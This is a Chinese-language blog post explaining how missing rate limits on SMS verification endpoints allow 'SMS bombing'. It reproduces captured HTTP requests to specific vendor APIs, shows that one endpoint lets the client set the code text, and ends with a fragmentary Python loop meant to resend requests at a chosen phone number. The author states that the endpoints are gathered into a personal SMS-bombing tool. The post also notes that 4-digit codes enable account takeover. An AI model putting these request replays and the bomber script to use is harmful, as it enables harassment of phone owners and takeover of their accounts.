在互聯網中，由於越來越多的平臺在註冊會員，找回密碼，以及手機支付的時候，為了防止他人冒用，惡意盜號，資金的安全往往都會使用短信驗證碼來驗證，從而提升帳號的安全性，資金的安全。
但是，每樣東西都有他的兩面性，短信驗證碼在提升安全性的同時，往往也會帶來一些不可避免的麻煩。比如不法分子利用短信驗證，來對他人手機進行不斷的發送驗證碼(短信轟炸)。
1.短信轟炸的形成
第一種情況:
來看一下這張圖，當客戶端發送了一個get\post請求給服務器的時候，服務器在接收到該數據包後，像某短信接口平臺發送一串字符串get\post請求，某短信平臺接口在接收到該請求之後，返回某數值（通常值為4-6位數字）給服務器，方便服務器在客戶端輸入驗證碼之後做驗證。同時短信接口向手機發送我們所看見的驗證碼。此時，手機輸入驗證碼給服務器進行驗證。
在這裡，通常在客戶端對服務器發送請求的時候，有些程序猿未對請求的次數做驗證，或者是僅僅在本地客戶端進行了一個時間的限制（比如時間相隔60秒），在這樣的情況下，本地可以進行一個加速器對該APP的倒計時進行加速倒計，從而在短時間內多次的快速發包，形成第一種類型的短信轟炸。也可以進行對APP的數據包抓包之後，進行在web瀏覽器裡面進行多次的快速的重放，形成第二種短信轟炸。
來看一個廠商的案例：
POST數據包
POST http://www.ac166.cn/geyeapi/router/rest?v=2.0×tamp=2016-03-19+20%3A53%3A20&app_key=10086&sign=EA6170E32B08923F2EBDF761D16AE9F1&method=aaaavalidatecode%2Fsend&partner_id=top-sdk-java-20120202&sign_method=md5&format=json HTTP/1.1 Accept: text/xml,text/javascript,text/html
User-Agent: hyy-sdk-java
Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Host: www.gzsec.org Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 53 mobile=手機號&imsi=IMSI&client_type=1
首先是來分析一下這個POST數據包
POST http://www.ac166.cn/geyeapi/router/rest?v=2.0×tamp=2016-03-19+20%3A53%3A20&app_key=10086&sign=EA6170E32B08923F2EBDF761D16AE9F1&method=aaaavalidatecode%2Fsend&partner_id=top-sdk-java-20120202&sign_method=md5&format=json HTTP/1.1
在這裡我們可以看到一些APP在請求一次短信驗證碼的時候所發送的信息:
V=2.0是該APP的版本
Tamp=是當時的時間
Appkey=APP的一個名字縮寫
Sign=APP對該次請求做了個校驗（但並未實行次數校驗，從而可以利用進行多次校驗）
Sign_method=md5加密
再看看POST發送的內容
mobile=手機號&imsi=IMSI&client_type=1
mobile=手機號
imsi=手機的IMSI串號
client_type=發送驗證碼的類型（比如1=註冊，2=找回密碼，3=支付校驗）
這裡我在短時間內進行多次快速的發送數據包之後，我的手機就接收到了不少同樣的信息。
第二種情況
來看一下這張圖，首先是客戶端進行get\post請求，但是這回他之前利用內置的接口，直接發送給了某平臺的短信接口，在某平臺的短信接口收到該請求之後，同時把所發送出去的驗證碼發給了服務器的某接口（這裡我們忽略一下客戶端在發送驗證碼時對服務器的請求），這樣服務器接收到了待驗證的字符串，同時，手機也接收到了該字符串。在這裡我們可以看到，由於省去了對服務器的請求，所以程序猿可能也就忘了對次數進行一個限制，或者說僅僅是在本地進行一個限制，同樣的我們可以截取該數據包，在瀏覽器裡面可以進行快速的多次的進行該請求，從而導致短信轟炸。
來看一個案例：
Get數據包
http://www.ac166.cn/api/sendcode?username=手機號&from=0&callback=jsonp2
簡單的對該url分析一下，
Sendcode=發送驗證碼命令
Username=手機號
From=類型
通過構造username然後進行短信轟炸
來看效果圖
來看第三種情況
這樣的情況有兩種小類型這裡我就不上建議的圖片進行解釋了。
1.同樣的第一種情況的基礎上，本地生成的一個數據包裡面直接含有驗證碼字符串，通過服務器，在發送到接口。
來看一個數據包：
POSThttp://*.*.*.*/app/me/sendSmsMsg HTTP/1.1
Host: *.*.*.* Content-Type: application/x-www-form-urlencoded
Accept: */* Connection: keep-alive
Proxy-Connection: keep-alive
Cookie: JSESSIONID=262f5n0oyngp17n40g26x2bif
User-Agent: TrafficPlusPlus/1.1 (iPhone; iOS9.1; Scale/3.00)
Accept-Language: zh-Hans-CN;q=1,zh-Hant-CN;q=0.9
Accept-Encoding: gzip, deflate
Content-Length: 37
mobile=13800138000&smsCodeRand=753211
在post內容裡面可以看到兩個字段
Mobile=手機號
SmsCodeRand=可愛的驗證碼
同時在這裡我們也能意識到，這串數字是可以篡改的~如果服務器未對這串數字進行賦值為int的話，為varchar類型的話我們甚至可以發送文字呢~
同樣的快速的多次發送數據包之後，我心愛的小手機，在此受到了摧殘。
2.第二種類型的情況
http://www.ac166.cn/ZFT/Transform/Default.ashx HJ_SIID=A68411C5-68F7-4329-B262-6E7A8E6216F8&HJ_Key_MId=20500decb237d82f&HJ_Key_Ver=41&HJ_Key_Type=Android&HJ_Key_OS=6.0.1&HJ_Key_MBrand=MI+4C&HJ_Key_IP=&HJ_MB_sign=&HJ_FID=sendSMSTYPE&HJ_SID=YXWZ&HJ_MB_type=1&HJ_MB_mobile=手機號
在最後可以看到發送的mobile字段
發送出去之後，我們可愛的服務器給我返回了一段雖然我看不懂但是我能解密的字符串
然後依舊這樣，我的心愛的小手機~就被再次的無情的轟炸了一波。
我就不上圖了。
這種也就是說其實我們的賬號安全在自己我們手機號的時候賬號密碼被修改是挺容易的。我之前利用此辦法發現了很多平臺都有4位數的驗證漏洞。
但是同樣的，我們該去怎麼利用呢
這裡有段Python代碼（單線程）
# -*-coding: cp936 -*- a =raw_input('次數：')
b=raw_input('電話:')
url =
url1=
post1=
defa1():
code, head,res, errcode, _ =curl.curl2(url)
code, head,res, errcode, _ = curl.curl2(url1,raw=post1
if__name__=='__main__': from dummy import * for i in range(0,int(a)):
a1()
這樣的話，我把手裡的這些接口集合一下，也製造出了我自己的小型短信轟炸機了
閱讀更多 戴丶小莫 的文章
